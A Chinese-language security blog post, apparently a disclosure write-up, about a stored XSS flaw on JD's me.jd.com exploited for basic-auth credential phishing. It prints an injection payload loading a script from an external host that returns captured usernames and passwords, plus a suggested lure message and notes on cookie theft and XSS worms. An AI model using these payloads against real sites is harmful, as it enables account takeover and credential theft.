实战利用XSS漏洞对me.jd.com进行基础验证钓鱼

这是几个月前的东西了。当时还在JD实习的时候,可惜发出来没人重视,推了半天才修改。这里发出来分享给大家。

什么是XSS

在测试部博客中分享过http://10.28.176.4/wordpress/?p=5241, XSS全称(Cross Site Scripting) 跨站脚本攻击,简单来说就是指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。

在安全测试中常用<script>alert(1)</script>验证目标是否存在XSS,这也给很多开发人员与测试人员造成误区,认为XSS就只是弹个框那么简单。其实XSS可以做很多事情。比如cookie盗取,基础验证钓鱼,XSS蠕虫攻击等等等等。下面就结合咚咚客户端与me.jd.com之间的XSS漏洞做一下进一步的深入挖掘以及利用,做一个基础验证钓鱼的例子。

攻击场景介绍

咚咚客户端在编辑个人资料->兴趣爱好字段中被为对字段做安全过滤,(见图1)这个字段直接存入passport中,而在me.jd.com直接读取passport时,也并未检查该字段是否存在攻击代码直接呈现给用户造成XSS攻击。

XSS漏洞验证代码:</script><script>alert(‘test by lenny’)</script><script>

1

2

利用XSS进行基础认证钓鱼

很明显,现在只是能验证漏洞存在并不能说明任何问题。现在开始扩散攻击面。在外网搭建钓鱼环境。

①   准备鱼饵-构造钓鱼页面

我用PHP写了一个钓鱼页面,代码如下(图3):

3

大致意思就是通过构造HTTP头报文,向浏览器发起伪造的基础验证请求,并将钓鱼成功后的用户名以及密码回发到我的服务器上

②   将鱼饵挂上钓鱼线-将钓鱼页面嵌入到me.jd.com

再次更改兴趣爱好字段为:</script><script src=”http://lennyxss.sinaapp.com//authtest.php?id=yVCEB3&info=put+your+jd+account“></script><script>

其中src字段就是我伪造的钓鱼页面的URL。

③   开始fishing-散播钓鱼页面

怎么散播出去呢?右下角的一起逛是个不错的选择。勾引里面的小伙伴们点击你的钓鱼页面。Maybe你可以这样说“热销大促,仅限双12,详见下方连接”。当然上面这些话都是我YY出来的。只是说明钓鱼的每个步骤,当时为了测试,我就自己钓自己吧。点击URL,提示输入帐号密码(见图4),输入完成后并无异样(见图5)

4

5

   拉网上钩-check钓鱼后台,成功获取用户名密码

不多说见下图吧

6

说在最后

其实这种XSS利用方式已经不在新奇,前段时间QQ空间上面几处XSS漏洞让腾讯栽了大跟头。其实还有XSS盗取cookie,这种方式可以获取cookie中的Session ID达到绕过服务端登录的登录逻辑,只要把盗取的cookie导入浏览器我们就可以不输入帐号密码直接登陆进他人的帐号。同时还有XSS蠕虫,这是XSS与CSRF相配合出来的产物。XSS是基础,然后配合服务端验证不完全的CSRF漏洞达到更大的攻击面。举个例子,像是之前微博蠕虫(只要看过某人的微博就是自动关注某人)贴吧蠕虫(看过某个帖子就是自动回复这个帖子)都是XSS蠕虫,神不知鬼不觉。用户层面上是无感知的,将完全不会有任何察觉。这是XSS进阶攻击手段。

[via@lenny]